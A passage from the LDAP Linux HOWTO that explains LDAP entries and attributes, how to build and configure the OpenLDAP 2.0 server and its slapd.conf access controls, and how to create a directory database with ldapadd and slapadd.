dn: cn=Luiz Malere, o=TUDelft, c=NL
cn: Luiz Malere
sn: Malere
mail: malere@yahoo.com
objectclass: person

As you can see each entry is uniquely identified by a distinguished name, or DN. the DN consists of the name of the entry plus a path of names tracing the entry back to the top of the directory hierarchy.

In LDAP, an object class defines the collection of attributes that can be used to define an entry. The LDAP standard provides these basic types of object classes:

  • Groups in the directory, including unordered lists of individual objects or groups of objects.
  • Locations, such as the country name and description.
  • Organizations in the directory.
  • People in the directory.

An entry can belong to more than one object class. For example, the entry for a person is defined by the person object class, but may also be defined by attributes in the inetOrgPerson, groupOfNames, and organization objectclasses. The server's object class structure (its schema) determines the total list of required and allowed attributes for a particular entry.

Directory data is represented as attribute-value pairs. Any specific piece of information is associated with a descriptive attribute.

For instance, the commonName, or cn, attribute is used to store a person's name . A person named Jonas Salk can be represented in the directory as

cn: Jonas Salk

Each person entered in the directory is defined by the collection of attributes in the person object class. Other attributes used to define this entry could include:

givenname: Jonas
surname: Salk
mail: jonass@airius.com

Required attributes include the attributes that must be present in entries using the object class. All entries require the objectClass attribute, which lists the object classes to which an entry belongs.

Allowed attributes include the attributes that may be present in entries using the object class. For example, in the person object class, the cn and sn attributes are required. The description, telephoneNumber, seeAlso, and userpassword attributes are allowed but are not required.

Each attribute has a corresponding syntax definition. The syntax definition describes the type of information provided by the attribute:

  • bin binary
  • ces case exact string (case must match during comparisons)
  • cis case ignore string (case is ignored during comparisons)
  • tel telephone number string (like cis but blanks and dashes `- ' are ignored during comparisons)
  • dn distinguished name

Go to the first paragraph of section 3 to know where the objectclass and attribute definitions lay on your system.

1.5 New Versions of this Document

This document may receive corrections and updates based on the feedback received by the readers. You should look at:

http://www.mobilesoft.com.br/HOWTO/LDAP-HOWTO.html

for new versions of this HOWTO.

1.6 Opinions and Sugestions

If you have any kind of doubt about some information avaiable on this document, please contact me on the following email address:

malere@yahoo.com

If you have commentaries and/or sugestions, please let me know too !

1.7 History of Releases

This section lists the releases of this document, sorted by date. Each release carries the changes introduced on the earlier version, plus newer additions and corrections:

v1.0: 20 June 1999, Initial version.

v1.01: 15 February 2000, added the following sections:

  • LDAP Migration Tools
  • Authentication using LDAP
  • Graphical LDAP tools
  • RFCs

v1.02: 13 September 2000, correction of typos and addition of the following section:

  • History of Releases

v1.03: 28 September 2000, presenting OpenLDAP 2.0, which comprises LDAPv3, defined on the RFC2251.

v1.04: 28 February 2001, correction of more typos and update on the following sections:

  • Roaming Access
  • Authentication using LDAP

v1.05: 22 June 2001, correction of long lines that were causing inconsistences on the PDF version of the document.

1.8 Acknowledgments

This Howto was result of an internship made by me on the TUDelft University - Netherlands. I would like to thank the persons that encouraged me to write this document: Rene van Leuken and Wim Tiwon. Thank you very much. They are also Linux fans, just like me.

I would like to thank also Thomas Bendler, author of the German Ldap-Howto, for his contributions to my document, Joshua Go, great volunteer on the LDP project and Hugo van der Kooij for his tips on the Roaming Access section.

1.9 Copyright and Disclaimer

The LDAP Linux HOWTO is Copyrighted 1999 by Luiz Ernesto Pinheiro Malere. It can be distributed freely. It cannot be modified. If you have any kind of sugestion, please send me an email (I will update the document if the sugestion proceeds).

If you want a translation, for example to Portuguese, you can send me an email about it too.

No liability for the contents of this document can be accepted. I have no responsability about the consequences of following the steps provided in this document.

If you have questions, please contact, the Linux HOWTO coordinator, at

linux-howto@metalab.unc.edu


LDAP Linux HOWTO: Installing the LDAP Server

 Next Previous Contents

2. Installing the LDAP Server

Five steps are necessary to install the server: Install the pre-required packages (if not already installed), Download the server, Unpack the software, Configure the Makefiles and Build the server.

2.1 Pre-Requirements

To be fully LDAPv3 compliant, OpenLDAP clients and servers require installation of some aditional packages. In my particular case I also installed OpenLdap v2.0.11 on a out-of-box RedHat 2.2.15 distribution. My intention was to figure out if the build scripts would complain about the pre-required packages. They didn't ! Anyway, this is not the rule, you might still need to obtain and install these aditinal packages to successfully build OpenLDAP v2.xx:

OpenSSL TLS libraries

The OpenSSL TLS libraries are normally part of the base system or compose an optional software component. The official OpenSSL url is http://www.openssl.org

Kerberos Authentication Services

OpenLDAP clients and servers support Kerberos-based authentication services. In particular, OpenLDAP supports SASL/GSSAPI authentication mechanism using either Heimdal or MIT Kerberos V packages. If you desire to use Kerberos-based SASL/GSSAPI authentication, you should install either Heimdal or MIT Kerberos V. Heimdal Kerberos is available from http://www.pdc.kth.se/heimdal. MIT Kerberos is available from http://web.mit.edu/kerberos/www.

The use of strong authentication services, such as those provided by Kerberos, is highly recommended.

Cyrus's Simple Authentication and Security Layer Libraries

Cyrus's SASL libraries are normally part of the base system or compose an optional software component. Cyrus SASL is available from http://asg.web.cmu.edu/sasl/sasl-library.html. Cyrus SASL will make use of OpenSSL and Kerberos/GSSAPI libraries if preinstalled.

Database Software

OpenLDAP's slapd primary database backend, LDBM, requires a compatible database package for entry storage. LDBM is compatible with Sleepycat Software's BerkeleyDB (recommended) or with the Free Software Foundation's GNU Database Manager (GDBM). If neither of these packages are available at configure time, you will not be able build slapd with primary database backend support.

If your operating system doesn't provide one of these two packages, it's necessary to obtain one of them and install it.

BerkeleyDB is available from Sleepycat Software's download page http://www.sleepycat.com/download.html. There are several versions available. At the time of this writing, the latest release, version 3.1, is recommended.

GDBM is available from FSF's download site ftp://ftp.gnu.org/pub/gnu/gdbm. At the time of this writing, version 1.8 is the latest release.

Threads

OpenLDAP is designed to take advantage of threads. OpenLDAP supports POSIX pthreads, Mach CThreads, and a number of other varieties. configure script will complain if it cannot find a suitable thread subsystem. If this occurs, please consult the Software - Installation - Platform Hints section of the OpenLDAP FAQ http://www.openldap.org/faq.

TCP Wrappers

slapd supports TCP wrappers (IP level access control filters) if preinstalled. Use of TCP wrappers or other IP-level access filters (such as those provided by an IP-level firewall) is recommended for servers containing non-public information.

2.2 Downloading the package

There are two free distributed LDAP servers: University of Michigan LDAP server and OpenLDAP server. There's also the Netscape Directory Server, which is free only under some conditions (educational institutions get it free, for example). The OpenLDAP server is based on the latest version of the University of Michigan Server and there are mailing lists and additional documentation available for it. This document assumes that you are using the OpenLDAP server.

It's latest tar gzipped version is avaiable on the following address:

http://www.openldap.org

If you want to get the latest version of University of Michigan Server, go to this address:

ftp://terminator.rs.itd.umich.edu/ldap

To write this document, I used the 2.0.4 version of the OpenLDAP package. My operating system is a Slackware Linux with kernel 2.2.13.

On the OpenLDAP site you can always find the latest development and stable versions of the OpenLDAP server. By the time this document was updated, the latest stable version was openldap-stable-20000704.tgz. The latest development version was openldap-2.0.4.tgz.

2.3 Unpacking the server

Now that you have the tar gzipped package on your local machine, you can unpack it.

First copy the package to a desirable directory, for example /usr/local.

Then use the following command:

tar xvzf openldap-stable.tgz

You can use this command too, as well:

gunzip openldap-stable.tgz | tar xvf -

2.4 Configuring the software

There are several options that you would like to customize so you can build the best software for your site.

To configure the software you just need 2 steps:

  • Edit the file ldapconfig.h.edit, located on the subdirectory include beneath the directory where you unpacked the software.
  • Run the configure script (if you are a tough guy, you can also edit the Make-common file instead of running the configure script :^)

In the file include/ldapconfig.h.edit you can set options like the location of the slapd and slurpd daemons. The file itself is well commented and it's default settings also reflect the most common administrator choices so, if you are in a hurry you can skip this step:

vi include/ldapconfig.h.edit

The OpenLDAP server sources are distributed with a configuration script for setting options like instalation directories, compiler and linker flags. Type the following command on the directory where you unpacked the software:

./configure --help
This will print all options that you can customize with the configure script before you build the software. Some usefull options are --prefix=pref , --exec-prefix=eprefix and --bindir=dir, for setting instalation directories. Normally if you run configure without options, it will auto-detect the appropriate settings and prepar to build things on the default common location. So just type:
./configure
And watch the output to see if all went well

2.5 Building the server

After configuring the software you can start building it. First build the dependencies, using the command:

make depend
After build the server, using the command:
make
If all goes well, the server will build as configured. If not, return to the previous step to review the configuration settings. You should check the platform specific hints, they are located in the path doc/install/hints under the directory you unpacked the software.

Now install the binaries and man pages. You may need to be superuser to do this (depending on where you are installing things):

su
make install
That's all, now you have the binary of the server and the binaries of several other utilities. Go to the next section to see how to configure the operation of your LDAP server.

The binary of the OpenLdap 2.0 server is called slapd. OpenLdap 2.0 was officially released on August, 30th and it comprises Ldap protocol v3, as defined on the RFC 2251.

The main features of OpenLDAP 2.0 are:

  • LDAPv2 and LDAPv3 Support (RFC2251-2256,2829-2831)
  • Maintenance of interoperability with existing clients
  • IPv4 and IPv6 support
  • Strong Authentication (SASL) (RFC2829)
  • Start TLS (RFC2830)
  • Language Tags (RFC2596)
  • DNS-based service location (RFC2247+"locate" I-D)
  • Enhanced Standalone Server
  • Named References/ManageDsaIT ("nameref" I-D)
  • Enhanced Access Control subsystem
  • Thread pooling
  • Preemptive threading support
  • Multiple listener support
  • LDIFv1 (RFC2849)
  • Improved platform/subsystem detection

Note: There will be a document on the Linux Documentation Project (LDP) called LDAP Implementation HOWTO. This document will be a great resource for those who want to explore the new features of OpenLDAP 2.0. The date for it's release is around December 2000.

On the latest versions of the OpenLDAP package, it's also possible to test the recently built binaries. The package comes with a test script, which you can run using the command:

make test

If anything goes wrong with the script you can just abort it hitting Ctrl-C. In my case, the script stopped working before it's total completion. Anyway I still could see some successfull messages about my OpenLDAP configuration.


LDAP Linux HOWTO: Configuring the LDAP Server

 Next Previous Contents

3. Configuring the LDAP Server

Once the software has been installed and built, you are ready to configure it for use at your site. All slapd runtime configuration is accomplished through the slapd.conf file, installed in the prefix directory you specified in the configuration script or by default in /usr/local/etc/openldap.

This section details the commonly used configuration directives on slapd.conf. For a complete list, see slapd.conf(5) manual page. The configuration file directives are separated into global, backend-specific and data-specific categories. Here you will find descriptions of directives, together with their default values (if any) and with examples of their use.

3.1 Configuration File Format

The slapd.conf file consists of three types of configuration information: global, backend specific, and database specific. Global information is specified first, followed by information associated with a particular backend type, which is then followed by information associated with a particular database instance.

Global directives can be overridden in a backend and/or database directives, backend directives can be overridden by database directives.

Blank lines and comment lines beginning with a '#' character are ignored. If a line begins with white space, it is considered a continuation of the previous line. The general format of slapd.conf is as follows:

# global configuration directives
<global config directives>

# backend definition
backend <typeA>
<backend-specific directives>

# first database definition & config directives
database <typeA>
<database-specific directives>

# second database definition & config directives
database <typeB>
<database-specific directives>

# second database definition & config directives
database <typeA>
<database-specific directives>

# subsequent backend & database definitions & config directives
...

A configuration directive may take arguments. If so, they are separated by white space. If an argument contains white space, the argument should be enclosed in double quotes "like this". If an argument contains a double quote or a backslash character `\', the character should be preceded by a backslash character `\'.

The distribution contains an example configuration file that will be installed in the /usr/local/etc/openldap directory. A number of files containing schema definitions (attribute types and object classes) are also provided in the /usr/local/etc/openldap/schema directory.

3.2 Global Directives

Directives described in this section apply to all backends and databases unless specifically overridden in a backend or database definition. Arguments that should be replaced by actual text are shown in brackets <>.

access to <what> [ by <who> <accesslevel> <control> ]+

This directive grants access (specified by <accesslevel>) to a set of
entries and/or attributes (specified by <what>) by one or more requesters
 (specified by <who>). See the Access Control examples for more details.

attributetype <RFC2252 Attribute Type Description>

This directive defines an attribute type.

defaultaccess { none | compare | search | read | write }

This directive specifies the default access to grant requesters when no access
directives have been specified. Any given access level implies all lesser
access levels (e.g., read access implies search and compare but not write).

Default:
defaultaccess read

idletimeout <integer>

Specify the number of seconds to wait before forcibly closing an idle client
connection. An idletimeout of 0, the default, disables this feature.

include <filename>

This directive specifies that slapd should read additional configuration
information from the given file before continuing with the next line of the
current file. The included file should follow the normal slapd config file
format. The file is commonly used to include files containing schema
specifications.

Note: You should be careful when using this directive - there is no small limit on the number of nested include directives, and no loop detection is done.

loglevel <integer>

This directive specifies the level at which debugging statements and operation
statistics should be syslogged (currently logged to the syslogd(8) LOCAL4
facility). You must have configured OpenLDAP --enable-debug (the default) for
this to work (except for the two statistics levels, which are always enabled).
Log levels are additive. To display what numbers correspond to what kind of
debugging, invoke slapd with -? or consult the table below. The possible values
 for <integer> are:

-1 enable all debugging
0 no debugging
1 trace function calls
2 debug packet handling
4 heavy trace debugging
8 connection management
16 print out packets sent and received
32 search filter processing
64 configuration file processing
128 access control list processing
256 stats log connections/operations/results
512 stats log entries sent
1024 print communication with shell backends
2048 print entry parsing debugging

Example:
loglevel 255 or loglevel -1
This will cause lots and lots of debugging information to be syslogged.
Default:
loglevel 256

objectclass <RFC2252 Object Class Description>

This directive defines an object class.

referral <URI>

This directive specifies the referral to pass back when slapd cannot find a
local database to handle a request.

Example:
referral ldap://root.openldap.org

This will refer non-local queries to the global root LDAP server at the
OpenLDAP Project. Smart LDAP clients can re-ask their query at that server, but
 note that most of these clients are only going to know how to handle simple
LDAP URLs that contain a host part and optionally a distinguished name part.

sizelimit <integer>

This directive specifies the maximum number of entries to return from a search
operation.

Default:
sizelimit 500

timelimit <integer>

This directive specifies the maximum number of seconds (in real time) slapd
will spend answering a search request. If a request is not finished in this
time, a result indicating an exceeded timelimit will be returned.

Default:
timelimit 3600

3.3 General Backend Options

Directives in this section apply only to the backend in which they are defined. They are supported by every type of backend. Backend directives apply to all databases instances of the same type and, depending on the directive, may be overridden by database directives.

backend <type>

This directive marks the beginning of a backend definition. <type> should
 be one of ldbm, shell, passwd, or other supported backend type.

3.4 General Database Directives

Directives in this section apply only to the database in which they are defined. They are supported by every type of database.

database <type>

This directive marks the beginning of a new database instance definition.
<type> should be one of ldbm, shell, passwd, or other supported database
type.

Example:
database ldbm

This marks the beginning of a new LDBM backend database instance definition.

readonly { on | off }

This directive puts the database into "read-only" mode. Any attempts to modify
the database will return an "unwilling to perform" error.

Default:
readonly off

replica

replica host=<hostname>[:<port>]
[bindmethod={ simple | kerberos | sasl }]
["binddn=<DN>"]
[mech=<mech>]
[authcid=<identity>]
[authzid=<identity>]
[credentials=<password>]
[srvtab=<filename>]

This directive specifies a replication site for this database. The
host= parameter specifies a host and optionally a port where the slave slapd
instance can be found. Either a domain name or IP address may be used for
<hostname>. If <port> is not given, the standard LDAP port number
(389) is used.

The binddn= parameter gives the DN to bind as for updates to the slave slapd.
It should be a DN which has read/write access to the slave slapd's database,
typically given as a rootdn in the slave's config file. It must also match the
updatedn directive in the slave slapd's config file. Since DNs are likely to
contain embedded spaces, the entire "binddn=<DN>" string should be
enclosed in double quotes.

The bindmethod is simple or kerberos or sasl, depending on whether simple
password-based authentication or Kerberos authentication or SASL authentication
 is to be used when connecting to the slave slapd.

Simple authentication should not be used unless adequate integrity and privacy
protections are in place (e.g. TLS or IPSEC). Simple authentication requires
specification of binddn and credentials parameters.

Kerberos authentication is deprecated in favor of SASL authentication
mechanisms, in particular the KERBEROS_V4 and GSSAPI mechanisms. Kerberos
authentication requires binddn and srvtab parameters.

SASL authentication is generally recommended. SASL authentication requires
specification of a mechanism using the mech parameter. Depending on the
mechanism, an authentication identity and/or credentials can be specified using
 authcid and credentials respectively. The authzid parameter may be used to
specify an authorization identity.

replogfile <filename>

This directive specifies the name of the replication log file to which slapd
will log changes.
The replication log is typically written by slapd and read by slurpd. Normally,
 this directive is only used if slurpd is being used to replicate the database.
 However, you can also use it to generate a transaction log, if slurpd is not
running. In this case, you will need to periodically truncate the file, since
it will grow indefinitely otherwise.

rootdn <dn>

This directive specifies the DN that is not subject to access control or
administrative limit restrictions for operations on this database. The DN
need not refer to an entry in the directory. The DN may refer to a SASL
identity.

Entry-based Example:
rootdn "cn=Manager, dc=example, dc=com"

SASL-based Example:
rootdn "uid=root@EXAMPLE.COM"

rootpw <password>

This directive specifies a password for the DN given above that will always
work, regardless of whether an entry with the given DN exists or has a
password. This directive is deprecated in favor of SASL based authentication.

Example:
rootpw secret

suffix <dn suffix>

This directive specifies the DN suffix of queries that will be passed to this
backend database. Multiple suffix lines can be given, and at least one is
required for each database definition.

Example:
suffix "dc=example, dc=com"

Queries with a DN ending in "dc=example, dc=com" will be passed to this
backend.

Note: When the backend to pass a query to is selected, slapd looks at the
suffix line(s) in each database definition in the order they appear in the
file. Thus, if one database suffix is a prefix of another, it must appear after
 it in the config file.

updatedn <dn>

This directive is only applicable in a slave slapd. It specifies the DN allowed
 to make changes to the replica. This may be the DN slurpd(8) binds as when
making changes to the replica or the DN associated with a SASL identity.

Entry-based Example:
updatedn "cn=Update Daemon, dc=example, dc=com"

SASL-based Example:
updatedn "uid=slurpd@EXAMPLE.COM"

updateref <URL>

This directive is only applicable in a slave slapd. It specifies the URL to
return to clients which submit update requests upon the replica. If specified
multiple times, each URL is provided.

Example:
update  ldap://master.example.net

3.5 LDBM Backend-Specific Directives

Directives in this category only apply to the LDBM backend database. That is, they must follow a "database ldbm" line and come before any other "database" line.

cachesize <integer>

This directive specifies the size in entries of the in-memory cache maintained
by the LDBM backend database instance.

Default:
cachesize 1000

dbcachesize <integer>

This directive specifies the size in bytes of the in-memory cache associated
with each open index file. If not supported by the underlying database method,
this directive is ignored without comment. Increasing this number uses more
memory but can cause a dramatic performance increase, especially during
modifies or when building indexes.

Default:
dbcachesize 100000

dbnolocking

This option, if present, disables database locking. Enabling this option may
improve performance at the expense of data security.

dbnosync

This option causes on-disk database contents not be immediately synchronized
with in memory changes upon change. Enabling this option may improve
performance at the expense of data security.

directory <directory>

This directive specifies the directory where the LDBM files containing the
database and associated indexes live.

Default:
directory /usr/local/var/openldap-ldbm

index {<attrlist> | default} [pres,eq,approx,sub,none]

This directive specifies the indexes to maintain for the given attribute. If
only an <attrlist> is given, the default indexes are maintained.

Example:
index default pres,eq
index objectClass,uid
index cn,sn eq,sub,approx

The first line sets the default set of indices to maintain to present and
equality. The second line causes the default (pres,eq) set of indices to be
maintained for objectClass and uid attribute types. The third line causes
equality, substring, and approximate indices to be maintained for cn and sn
attribute types.

mode <integer>

This directive specifies the file protection mode that newly created database
index files should have.

Default:
mode 0600

3.6 Other Backend Databases

slapd supports a number of backend database types besides the default LDBM:

  • ldbm: Berkeley or GNU DBM compatible backend
  • passwd: Provides read-only access to /etc/passwd
  • shell: Shell (extern program) backend
  • sql: SQL Programmable backend

Take a look on the slapd.conf(5) manpage for details.

3.7 Access Control Examples

The access control facility presented on section 3.2 is quite powerful. This section shows some examples of its use. First, some simple examples:

access to * by * read

This access directive grants read access to everyone. If it appears alone it is the same as the following defaultaccess line.

defaultaccess read

The following example shows the use of a regular expression to select the entries by DN in two access directives where ordering is significant.

access to dn=".*, o=U of M, c=US"
by * search
access to dn=".*, c=US"
by * read

Read access is granted to entries under the c=US subtree, except for those entries under the "o=University of Michigan, c=US" subtree, to which search access is granted. If the order of these access directives was reversed, the U-M-specific directive would never be matched, since all U-M entries are also c=US entries.

The next example again shows the importance of ordering, both of the access directives and the "by" clauses. It also shows the use of an attribute selector to grant access to a specific attribute and various <who> selectors.

access to dn=".*, o=U of M, c=US" attr=homePhone
by self write
by dn=".*, o=U of M, c=US" search
by domain=.*\.umich\.edu read
by * compare
access to dn=".*, o=U of M, c=US"
by self write
by dn=".*, o=U of M, c=US" search
by * none

This example applies to entries in the "o=U of M, c=US" subtree. To all attributes except homePhone, the entry itself can write them, other U-M entries can search by them, anybody else has no access. The homePhone attribute is writable by the entry, searchable by other U-M entries, readable by clients connecting from somewhere in the umich.edu domain, and comparable by everybody else.

Sometimes it is usefull to permit a particular DN to add or remove itself from an attribute. For example, if you would like to create a group and allow people too add and remove only their own DN from the member attribute, you could accomplish it with an access directive like this:

access to attr=member,entry
by dnattr=member selfwrite

The dnattr <who> selector says that the access applies to entries listed in the member attribute. The selfwrite access selector says that such members can only add or delete their own DN from the attribute, not other values. The addition of the entry attribute is required because access to the entry is required to access any of the entry's attributes.

Note that the attr=member construct in the <what> clause is a shorthand for the clause "dn=* attr=member" (i.e., it matches the member attribute in all entries).

Note: Take a look on OpenLDAP Administrator's Guide at http://www.openldap.org to learn more about Access Control on Ldap.

3.8 Configuration File Example

The following is an example configuration file, interspersed with explanatory text. It defines two databases to handle different parts of the X.500 tree; both are LDBM database instances. The line numbers shown are provided for reference only and are not included in the actual file. First, the global configuration section:

  1.    # example config file - global configuration section
  2.    include /usr/local/etc/schema/core.schema
  3.    referral ldap://root.openldap.org
  4.    access to * by * read

Line 1 is a comment. Line 2 includes another config file which containing core schema definitions. The referral directive on line 3 means that queries not local to one of the databases defined below will be referred to the LDAP server running on the standard port (389) at the host root.openldap.org.

Line 4 is a global access control. It is used only if no database access controls match or when the target objects are not under the control of any database (such as the Root DSE).

The next section of the configuration file defines an LDBM backend that will handle queries for things in the "dc=example,dc=com" portion of the tree. The database is to be replicated to two slave slapds, one on truelies, the other on judgmentday. Indexes are to be maintained for several attributes, and the userPassword attribute is to be protected from unauthorized access.

  5.    # ldbm definition for the example.com
  6.    database ldbm
  7.    suffix "dc=example, dc=com"
  8.    directory /usr/local/var/openldap
  9.    rootdn "cn=Manager, dc=example, dc=com"
 10.    rootpw secret
 11.    # replication directives
 12.    replogfile /usr/local/var/openldap/slapd.replog
 13.    replica host=slave1.example.com:389
 14.            binddn="cn=Replicator, dc=example, dc=com"
 15.            bindmethod=simple credentials=secret
 16.    replica host=slave2.example.com
 17.            binddn="cn=Replicator, dc=example, dc=com"
 18.            bindmethod=simple credentials=secret
 19.    # indexed attribute definitions
 20.    index uid pres,eq
 21.    index cn,sn,uid pres,eq,approx,sub
 22.    index objectClass eq
 23.    # ldbm access control definitions
 24.    access to attr=userPassword
 25.            by self write
 26.            by anonymous auth
 27.            by dn="cn=Admin,dc=example,dc=com" write
 28.            by * none
 29.    access to *
 30.            by dn="cn=Admin,dc=example,dc=com" write
 31.            by * read

Line 5 is a comment. The start of the database definition is marked by the database keyword on line 6. Line 7 specifies the DN suffix for queries to pass to this database. Line 8 specifies the directory in which the database files will live.

Lines 9 and 10 identify the database "super user" entry and associated password. This entry is not subject to access control or size or time limit restrictions.

Lines 11 through 18 are for replication. Line 11 specifies the replication log file (where changes to the database are logged - this file is written by slapd and read by slurpd). Lines 12 through 14 specify the hostname and port for a replicated host, the DN to bind as when performing updates, the bind method (simple) and the credentials (password) for the binddn. Lines 15 through 18 specify a second replication site.

Lines 20 through 22 indicate the indexes to maintain for various attributes.

Lines 24 through 31 specify access control for entries in the database. For all entries, the userPassword attribute is writable by the entry itself and by the "admin" entry. It may be used for authentication/authorization purposes, but is otherwise not readable. All other attributes are writable by the "admin" entry and may be read by authenticated users.

The next section of the example configuration file defines another LDBM database. This one handles queries involving the dc=example,dc=net subtree. Note that without line 37, the read access would be allowed due to the global access rule at line 4.

 32.    # ldbm definition for example.net
 33.    database ldbm
 34.    suffix "dc=example, dc=net"
 35.    directory /usr/local/var/ldbm-example-net
 36.    rootdn "cn=Manager, dc=example, dc=com"
 37.    access to * by users read


LDAP Linux HOWTO: Running the LDAP Server

 Next Previous Contents

4. Running the LDAP Server

slapd is designed to be run as a stand-alone server. This allows the server to take advantage of caching, manage concurrency issues with underlying databases, and conserve system resources. Running from inetd(8) is NOT an option.

4.1 Command Line Options

slapd supports a number of command-line options as detailed in the manual page. This section details a few commonly used options:

-f <filename>

This option specifies an alternate configuration file for slapd. The default is
 normally /usr/local/etc/openldap/slapd.conf.

-h <URLs>

This option specifies alternative listener configurations. The default is
ldap:/// which implies LDAP over TCP on all interfaces on the default LDAP port
 389. You can specify specific host-port pairs or other protocol schemes
(such as ldaps:// or ldapi://). For example, -h "ldaps:// ldap://127.0.0.1:667"
 will create two listeners: one for LDAP over SSL on all interfaces on the
default LDAP/SSL port 636, and one for LDAP over TCP on the localhost
(loopback) interface on port 667. Hosts may be specified using IPv4
dotted-decimal form or using host names.
Port values must be numeric.

-n <service-name>

This option specifies the service name used for logging and other purposes.
The default service name is slapd.

-l <syslog-local-user>

This option specifies the local user for the syslog(8) facility. Values can be
LOCAL0, LOCAL1, LOCAL2, ..., and LOCAL7. The default is LOCAL4. This option
may not be supported on all systems.

-u user -g group

These options specify the user and group, respectively, to run as. user can be
either a user name or uid. group can be either a group name or gid.

-r directory

This option specifies a run-time directory. slapd will chroot(2) to this
directory after opening listeners but before reading any configuration files
or initializing any backends.

-d <level> | ?

This option sets the slapd debug level to <level>. When level is a `?'
character, the various debugging levels are printed and slapd exits, regardless
 of any other options you give it. Current debugging levels are:

-1  enable all debugging
0  no debugging
1  trace function calls
2  debug packet handling
4  heavy trace debugging
8  connection management
16  print out packets sent and received
32  search filter processing
64  configuration file processing
128  access control list processing
256  stats log connections/operations/results
512  stats log entries sent
1024  print communication with shell backends
2048  print entry parsing debugging

You may enable multiple levels by specifying the debug option once for each
desired level. Or, since debugging levels are additive, you can do the math
yourself. That is, if you want to trace function calls and watch the config
file being processed, you could set level to the sum of those two levels (in
this case, -d 65). Or, you can let slapd do the math, (e.g. -d 1 -d 64).
Consult <ldap.h> for more details.

Note: slapd must have been compiled with -DLDAP_DEBUG defined for any debugging
 information beyond the two stats levels to be available.

4.2 Starting the LDAP server

In general, slapd is run like this:

/usr/local/etc/libexec/slapd [<option>]*

where /usr/local/etc/libexec is determined by configure and <option> is one of the options described above (or in slapd(8)). Unless you have specified a debugging level (including level 0), slapd will automatically fork and detach itself from its controlling terminal and run in the background.

4.3 Killing the LDAP server

To kill off slapd safely, you should give a command like this:

kill -TERM `cat $(ETCDIR)/slapd.pid`

Killing slapd by a more drastic method may cause its LDBM databases to be corrupted, as it may need to flush various buffers before it exits. Note that slapd writes its pid to a file called slapd.pid in the directory you configured in slapd.conf file, for example: /usr/local/var/slapd.pid

You can change the location of this pid file by changing the SLAPD_PIDFILE variable in include/ldapconfig.h.edit

Slapd will also write its arguments to a file called slapd.args in the directory you configured in slapd.conf file, for example /usr/local/var/slapd.args

You can change the location of the args file by changing the SLAPD_ARGSFILE variable in include/ldapconfig.h.edit.


LDAP Linux HOWTO: Database Creation and Maintenance

 Next Previous Contents

5. Database Creation and Maintenance

This section tells you how to create a slapd database from scratch. There are two ways to create a database. First, you can create the database on-line using LDAP. With this method, you simply start up slapd and add entries using the LDAP client of your choice. This method is fine for relatively small databases (a few hundred or thousand entries, depending on your requirements).

The second method of database creation is to do it off-line, using the index generation tools. This method is best if you have many thousands of entries to create, which would take an unacceptably long time using the LDAP method, or if you want to ensure the database is not accessed while it is being created.

5.1 Creating a Database online

The OpenLDAP software package comes with an utility called ldapadd, used to add entries while the LDAP server is running. If you choose to create the Database online, you can use the ldapadd tool to add entries. After adding the first entries, you can still use ldapadd to add more entries. You should be sure to set the following configuration options on your sladp.conf file before starting slapd:

suffix <dn>

As described in the section 3, this option says what entries are to be held by this database. You should set this to the DN of the root of the subtree you are trying to create. For example:

suffix "o=TUDelft, c=NL"

You should be sure to specify a directory where the index files should be created:

directory <directory>

For example:

directory /usr/local/tudelft

You need to make it so you can connect to slapd as somebody with permission to add entries. This is done through the following two options in the database definition:

rootdn <dn>

rootpw <passwd> /* Remember to use crypto or SHA password here !!! */

These options specify a DN and password that can be used to authenticate as the "superuser" entry of the database (i.e., the entry allowed to do anything). The DN and password specified here will always work, regardless of whether the entry named actually exists or has the password given. This solves the chicken- and-egg problem of how to authenticate and add entries before any entries yet exist.

If you are using SASL as a mechanism to authenticate against LDAP, the rootpw line may be discarded. Take a look on the Configuring LDAP and on the Authentication section for more details.

Finally, you should make sure that the database definition contains the index definitions you want:

index {<attrlist> | default} [pres,eq,approx,sub,none]

For example, to index the cn, sn, uid and objectclass attributes the following index configuration lines could be used.

index cn,sn,uid

index objectclass pres,eq

index default none

Once you have configured things to your liking, start up slapd, connect with your LDAP client, and start adding entries. For example, to add a the TUDelft entry followed by a Postmaster entry using the ldapadd tool, you could create a file called /tmp/newentry with the contents:

o=TUDelft, c=NL
objectClass=organization
description=Technical University of Delft Netherlands

cn=Postmaster, o=TUDelft, c=NL
objectClass=organizationalRole
cn=Postmaster
description= TUDelft postmaster - postmaster@tudelft.nl

and then use a command like this to actually create the entry:

ldapadd -f /tmp/newentry -D "cn=Manager, o=TUDelft, c=NL" -w secret

The above command assumes that you have set rootdn to "cn=Manager, o=TUDelft, c=NL" and rootpw to "secret". If you don't want to type the password on the command line, use the -W option for the ldapadd command instead of -w "password". You will be prompted to enter the password:

ldapadd -f /tmp/newentry -D "cn=Manager, o=TUDelft, c=NL" -W
Enter LDAP Password:

5.2 Creating a Database offline

The second method of database creation is to do it off-line, using the index generation tools described below. This method is best if you have many thousands of entries to create, which would take an unacceptably long time using the LDAP method described above. These tools read the slapd configuration file and an input LDIF file containing a text representation of the entries to add. They produce the LDBM index files directly. There are several important configuration options you will want to be sure and set in the config file database definition first:

suffix <dn>

As described in the preceding section, this option says what entries are to be held by this database. You should set this to the DN of the root of the subtree you are trying to create. For example:

suffix "o=TUDelft, c=NL"

You should be sure to specify a directory where the index files should be created:

directory <directory>

For example:

directory /usr/local/tudelft

Next, you probably want to increase the size of the in-core cache used by each open index file. For best performance during index creation, the entire index should fit in memory. If your data is too big for this, or your memory too small, you can still make it pretty big and let the paging system do the work. This size is set with the following option:

dbcachesize <integer>

For example:

dbcachesize 50000000

This would create a cache 50 MB big, which is pretty big (at University of Michigan, the database has about 125K entries, and the biggest index file is about 45 MB). Experiment with this number a bit, and the degree of parallelism (explained below), to see what works best for your system. Remember to turn this number back down once your index files are created and before you run slapd.

Finally, you need to specify which indexes you want to build. This is done by one or more index options.

index {<attrlist> | default} [pres,eq,approx,sub,none]

For example:

index cn,sn,uid pres,eq,approx

index default none

This would create presence, equality and approximate indexes for the cn, sn, and uid attributes, and no indexes for any other attributes. See the configuration file on section 3 for more information on this option.

Once you've configured things to your liking, you create the primary database and associated indexes by running the slapadd(8) program:

slapadd -l <inputfile> -f <slapdconfigfile> [-d <debuglevel>] [-n <integer>|-b <suffix>]

The arguments have the following meanings:

-l <inputfile>

Specifies the LDIF input file containing the entries to add in text form (Take a look on the next section).

-f <slapdconfigfile>

Specifies the slapd configuration file that tells where to create the indexes, what indexes to create, etc.

-d <debuglevel>

Turn on debugging, as specified by <debuglevel>. The debug levels are the same as for slapd. See the Command-Line Options section in Running slapd.

-n <databasenumber>

